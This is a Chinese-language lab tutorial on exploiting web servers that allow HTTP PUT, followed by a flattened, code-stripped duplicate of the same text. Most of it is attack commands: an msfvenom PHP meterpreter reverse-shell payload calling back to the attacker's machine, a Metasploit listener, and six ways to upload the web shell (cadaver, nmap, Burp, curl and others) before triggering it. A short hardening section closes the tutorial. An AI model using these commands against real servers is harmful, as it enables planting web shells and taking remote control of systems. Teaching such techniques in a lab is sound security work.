挖洞经验 | 多种针对开启HTTP PUT方法的漏洞利用
字数 1128 2025-08-15 21:33:57

HTTP PUT方法漏洞利用全面指南

1. HTTP PUT方法简介

HTTP PUT方法最初设计用于文件管理操作,允许对网站服务器上的文件进行更改、删除和更新。该方法若配置不当,可能导致严重的安全漏洞:

  • 主要风险:允许未经授权的文件上传
  • 典型场景:WebDAV服务中常集成PUT方法
  • 安全建议:如必须启用,需对相关文件资源实施严格的访问控制

2. 测试环境准备

基础配置

  • 目标机器:Metasploitable 2 (IP: 192.168.1.103)
  • 攻击机器:Kali Linux (IP: 192.168.1.105)

前提条件

  • 目标服务器需运行WebDAV服务
  • 目标服务器需启用HTTP PUT方法

3. 漏洞检测方法

使用Nikto扫描

nikto -h http://192.168.1.103/dav/

关键输出:检查扫描结果中是否显示PUT方法被启用

4. 攻击载荷生成

使用Msfvenom创建反弹shell

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.105 lport=4444 -f raw

操作要点

  1. 复制从<?phpdie()的完整PHP代码
  2. 保存为shell.php文件(如:/root/Desktop/shell.php)

Metasploit监听设置

msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.1.105
set lport 4444
exploit

5. 多种利用技术详解

5.1 使用Cadaver工具

cadaver http://192.168.1.103/dav/
put /root/Desktop/shell.php

验证:访问http://192.168.1.103/dav/shell.php确认上传成功

5.2 使用Nmap脚本

nmap -p 80 192.168.1.103 --script http-put --script-args http-put.url='/dav/nmap.php',http-put.file='/root/Desktop/nmap.php'

注意:需提前准备nmap.php文件(内容同shell.php)

5.3 使用Firefox Poster插件

  1. 安装Poster插件
  2. 配置:
    • URL: http://192.168.1.103/dav/poster.php
    • 方法: PUT
    • 选择本地poster.php文件上传

5.4 使用Burpsuite

  1. 拦截常规GET请求
  2. 发送到Repeater模块
  3. 修改为:
    PUT /dav/burp.php HTTP/1.1
    [粘贴shell.php内容]
    
  4. 执行请求

5.5 使用Metasploit模块

use auxiliary/scanner/http/http_put
set RHOSTS 192.168.1.103
set RPORT 80
set PATH /dav/meter.php
set FILEDATA file:///root/Desktop/meter.php
run

5.6 使用cURL工具

curl http://192.168.1.103/dav/ --upload-file /root/Desktop/curl.php -v

6. 攻击验证流程

  1. 确认文件上传成功(访问对应URL)
  2. 确保Metasploit监听已启动
  3. 访问上传的PHP文件触发反弹shell
  4. 在Metasploit中验证连接:
    meterpreter> sysinfo
    

7. 防御措施

  1. 禁用不必要的HTTP方法

    <LimitExcept GET POST>
        Deny from all
    </LimitExcept>
    
  2. 严格的权限控制

    • Web目录设置为只读
    • 对可写目录实施严格的访问控制
  3. 定期安全扫描

    • 使用Nikto等工具检查服务器配置
    • 监控异常文件上传行为
  4. WebDAV安全配置

    • 禁用匿名写入权限
    • 启用身份验证机制
  5. 日志监控

    • 记录所有PUT/DELETE方法请求
    • 设置异常请求告警

8. 总结

本指南详细介绍了HTTP PUT方法漏洞的多种利用技术,从检测到实际利用的全过程。安全从业人员应了解这些攻击手法以便更好地防御,同时系统管理员应按照防御措施加固服务器配置。

HTTP PUT方法漏洞利用全面指南 1. HTTP PUT方法简介 HTTP PUT方法最初设计用于文件管理操作,允许对网站服务器上的文件进行更改、删除和更新。该方法若配置不当,可能导致严重的安全漏洞: 主要风险:允许未经授权的文件上传 典型场景:WebDAV服务中常集成PUT方法 安全建议:如必须启用,需对相关文件资源实施严格的访问控制 2. 测试环境准备 基础配置 目标机器 :Metasploitable 2 (IP: 192.168.1.103) 攻击机器 :Kali Linux (IP: 192.168.1.105) 前提条件 目标服务器需运行WebDAV服务 目标服务器需启用HTTP PUT方法 3. 漏洞检测方法 使用Nikto扫描 关键输出 :检查扫描结果中是否显示PUT方法被启用 4. 攻击载荷生成 使用Msfvenom创建反弹shell 操作要点 : 复制从 <?php 到 die() 的完整PHP代码 保存为shell.php文件(如:/root/Desktop/shell.php) Metasploit监听设置 5. 多种利用技术详解 5.1 使用Cadaver工具 验证 :访问 http://192.168.1.103/dav/shell.php 确认上传成功 5.2 使用Nmap脚本 注意 :需提前准备nmap.php文件(内容同shell.php) 5.3 使用Firefox Poster插件 安装Poster插件 配置: URL: http://192.168.1.103/dav/poster.php 方法: PUT 选择本地poster.php文件上传 5.4 使用Burpsuite 拦截常规GET请求 发送到Repeater模块 修改为: 执行请求 5.5 使用Metasploit模块 5.6 使用cURL工具 6. 攻击验证流程 确认文件上传成功(访问对应URL) 确保Metasploit监听已启动 访问上传的PHP文件触发反弹shell 在Metasploit中验证连接: 7. 防御措施 禁用不必要的HTTP方法 : 严格的权限控制 : Web目录设置为只读 对可写目录实施严格的访问控制 定期安全扫描 : 使用Nikto等工具检查服务器配置 监控异常文件上传行为 WebDAV安全配置 : 禁用匿名写入权限 启用身份验证机制 日志监控 : 记录所有PUT/DELETE方法请求 设置异常请求告警 8. 总结 本指南详细介绍了HTTP PUT方法漏洞的多种利用技术,从检测到实际利用的全过程。安全从业人员应了解这些攻击手法以便更好地防御,同时系统管理员应按照防御措施加固服务器配置。